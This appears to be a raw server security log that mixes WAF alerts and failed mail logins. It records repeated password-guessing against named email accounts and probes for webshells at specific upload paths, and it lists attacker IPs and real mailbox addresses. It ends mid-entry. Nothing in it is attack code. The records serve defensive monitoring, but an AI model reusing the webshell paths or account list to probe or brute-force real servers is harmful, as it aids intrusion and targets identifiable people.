domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c11659346 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.111.83
country_id: 3658394
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/cc1686814 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-17 15:59:05 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com ([197.157.252.162]) [82.209.191.11]:42856: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.48.163.24
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/cf2070512 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-17 15:59:00 dovecot_login authenticator failed for H=([220.240.104.100]) [119.196.213.196]:39914: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.216.140.153
country_id: 1269750
description:
2026-07-17 15:59:31 dovecot_login authenticator failed for H=([24.119.52.56]) [162.216.140.153]:45382: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.68.47.176
country_id: 6252001
description:
2026-07-17 15:59:17 dovecot_login authenticator failed for H=wsip-174-68-47-176.lv.lv.cox.net ([201.218.0.25]) [174.68.47.176]:37362: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-17 15:59:19 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl ([176.57.76.206]) [89.67.39.124]:57380: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-17 15:59:36 dovecot_login authenticator failed for H=(user20.85-195-9.netatonce.net) [59.6.72.106]:15803: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.204.34.11
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d82185350 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-07-17 15:59:55 dovecot_login authenticator failed for H=(mission-web-hosting.com) [181.54.70.40]:45806: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.253.141.21
country_id: 953987
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/eb2076295 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: combinations.in
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-17 16:05:12 dovecot_login authenticator failed for H=([40.68.103.10]) [50.212.27.150]:36286: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.236.211.54
country_id: 2661886
description:
2026-07-17 16:05:27 dovecot_login authenticator failed for H=81-236-211-54-no2550.tbcn.telia.com ([197.219.208.58]) [81.236.211.54]:37744: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.86.9
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/05324213 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.27.124.166
country_id: 192950
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/062154945 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-17 16:09:18 dovecot_login authenticator failed for H=([200.153.121.1]) [65.99.181.123]:45958: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.0.55.65
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/072139481 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-17 16:10:15 dovecot_login authenticator failed for H=([98.188.47.130]) [94.16.17.141]:58872: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.197.31.229
country_id: 3582678
description:
2026-07-17 16:10:44 dovecot_login authenticator failed for H=([111.57.17.167]) [190.197.31.229]:41883: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.137.24.51
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0f1091218 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-17 16:11:03 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp ([180.71.9.31]) [218.219.193.151]:41120: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.237.122.192
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0c394257 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.180.125.157
country_id: 2661886
description:
2026-07-17 16:12:47 dovecot_login authenticator failed for H=ip157.net-193-180-125.koping.net ([221.162.14.120]) [193.180.125.157]:37394: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.109.13.50
country_id: 1269750
description:
2026-07-17 16:13:02 dovecot_login authenticator failed for H=([202.138.229.190]) [103.109.13.50]:53296: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.217.111.74
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/123167475 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.16.221.216
country_id: 2635167
description:
2026-07-17 16:15:01 dovecot_login authenticator failed for H=([49.124.153.30]) [82.16.221.216]:57986: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.92.226
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/161048134 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.145.35
country_id: 1269750
description:
2026-07-17 16:15:13 dovecot_login authenticator failed for H=([219.129.96.2]) [103.174.145.35]:38804: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.119.48.50
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1e495899 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.147.204.208
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/232276054 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 47.85.26.69
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/135.0.0.0 Safari/537.36||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 95.70.205.159
country_id: 298795
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:52951.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3ac2f0c52f52c4d1163745f142e04804271e169e||Title:0x63562fe4||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-17 16:20:10 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com (dynamic-ip-18680230116.cable.net.co) [218.103.36.176]:55821: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.201.204.120
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/371110517 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.78.111.186
country_id: 366755
description:
2026-07-17 16:20:31 dovecot_login authenticator failed for H=(dhcp-72-234-16-75.hawaiiantel.net) [41.78.111.186]:47550: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.176.190.136
country_id: 2542007
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/35292735 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.119.50.89
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/311799399 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.209.248.110
country_id: 2661886
description:
2026-07-17 16:20:49 dovecot_login authenticator failed for H=h83-209-248-110.cust.bredband2.com ([72.207.33.65]) [83.209.248.110]:42526: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.181.44.98
country_id: 3923057
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/38760957 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.1.66.154
country_id: 1694008
description:
2026-07-17 16:21:10 dovecot_login authenticator failed for H=([175.197.135.63]) [210.1.66.154]:50894: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-17 16:22:43 dovecot_login authenticator failed for H=([125.19.175.93]) [207.188.158.216]:28057: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.123.165.2
country_id: 248816
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/3c2899346 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.124.196.81
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/3c3148576 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-17 16:23:16 dovecot_login authenticator failed for H=([49.124.142.135]) [220.72.198.61]:39938: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-17 16:23:18 dovecot_login authenticator failed for H=(166.143.48.116.static.netvigator.com) [41.128.181.196]:43526: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.208.82.217
country_id: 3625428
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/index.php HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-07-17 16:25:35 dovecot_login authenticator failed for H=([65.20.217.64]) [203.123.219.137]:56115: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.194.5.183
country_id: 2077456
description:
2026-07-17 16:24:57 dovecot_login authenticator failed for H=([194.103.82.72]) [203.194.5.183]:38058: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.106.211.96
country_id: 783754
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/45227152 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.74.211
country_id: 1269750
description:
2026-07-17 16:26:01 dovecot_login authenticator failed for H=([166.78.156.46]) [117.211.74.211]:43924: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.235.86.137
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/47206759 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.228.68.237
country_id: 1605651
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/481135884 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.58.74.18
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4e2432657 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.43.159.19
country_id: 163843
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/501419863 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.44.156.180
country_id: 1694008
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/ HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.43.11.241
country_id: 2510769
description:
2026-07-17 16:29:21 dovecot_login authenticator failed for H=241.red-81-43-11.staticip.rima-tde.net (ol182-153.fibertel.com.ar) [81.43.11.241]:38654: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.41
country_id: 99237
description:
2026-07-17 16:29:33 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [65.20.204.41]:45741: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.133.185.208
country_id: 2921044
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/55297863 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.189.149.152
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/991431855 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.204.197.79
country_id: 192950
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9a3450959 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.85.14.222
country_id: 6252001
description:
2026-07-17 16:31:03 dovecot_login authenticator failed for H=([189.56.5.209]) [107.85.14.222]:39200: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://mymelomelomelo.ldblog.jp/archives/51864338.html\">\xe2\x80\x9cH\xe1\xbb\xa3p t\xc3\xa1c x\xc3\xa3 Khuy\xe1\xba\xbfn N\xc3\xb4ng\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.106.218.253
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ba2267835 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.82.7.89
country_id: 2077456
description:
2026-07-17 16:33:38 dovecot_login authenticator failed for H=([203.193.147.75]) [95.82.7.89]:33187: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.29.219.54
country_id: 1835841
description:
2026-07-17 16:33:58 dovecot_login authenticator failed for H=([59.46.193.187]) [59.29.219.54]:49838: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.53.75.111
country_id: 163843
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/malik-malayalam-movie-experience-metro-digital-media HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.107.226.12
country_id: 248816
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c41261582 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.234.246
country_id: 1835841
description:
2026-07-17 16:35:44 dovecot_login authenticator failed for H=(intereuropartc.19522243-138.bih.net.ba) [112.164.234.246]:42171: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-17 16:35:32 dovecot_login authenticator failed for H=([152.52.197.130]) [182.95.150.106]:60876: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.14.138.232
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/cc917497 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.236.43.214
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es15?Itemid=101&catid=18 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 43.245.93.158
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d52878259 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.192.213.127
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e8203277 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.215.99.230
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f2395540 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.168.2.77
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f5683449 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 130.131.241.50
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/leaf.php||SC:/home/keralapeople/public_html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.98.2.98
country_id: 290557
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f8637178 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.97.196.200
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f81995612 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.61.21.62
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/002277054 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.118.85.201
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/003671419 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.160.73.227
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/042237491 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 81.214.105.31
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/043104156 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-17 16:47:33 dovecot_login authenticator failed for H=([49.124.153.30]) [197.219.208.58]:36982: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.169.211.63
country_id: 1643084
description:
2026-07-17 16:47:39 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [103.169.211.63]:49616: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 136.158.122.165
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/053269977 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/banner/11782077340.php||SC:/home/yukticlick/public_html/uploads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/wp-admin/images/moon.php||SC:/home/yukticlick/public_html/wp-admin||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.15.245.69
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/082270088 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.76.181.68
country_id: 2542007
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0a3804247 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.34.252.154
country_id: 6252001
description:
2026-07-17 16:51:06 dovecot_login authenticator failed for H=([49.124.152.36]) [136.34.252.154]:63380: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.251.0.147
country_id: 390903
description:
2026-07-17 16:51:45 dovecot_login authenticator failed for H=([121.46.239.199]) [212.251.0.147]:39425: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.162
country_id: 337996
description:
2026-07-17 16:51:59 dovecot_login authenticator failed for H=([220.154.134.180]) [196.190.43.162]:46918: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-17 16:52:02 dovecot_login authenticator failed for H=([36.135.100.48]) [197.219.210.94]:55646: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.211.212.151
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/12250737 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.181.23
country_id: 2661886
description:
2026-07-17 16:51:48 dovecot_login authenticator failed for H=c83-191-181-23.bredband.tele2.se ([50.217.40.11]) [83.191.181.23]:41492: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.98.243.12
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/12120131 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.146
country_id: 1733045
description:
2026-07-17 16:51:57 dovecot_login authenticator failed for H=([1.250.67.114]) [49.124.152.146]:58270: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
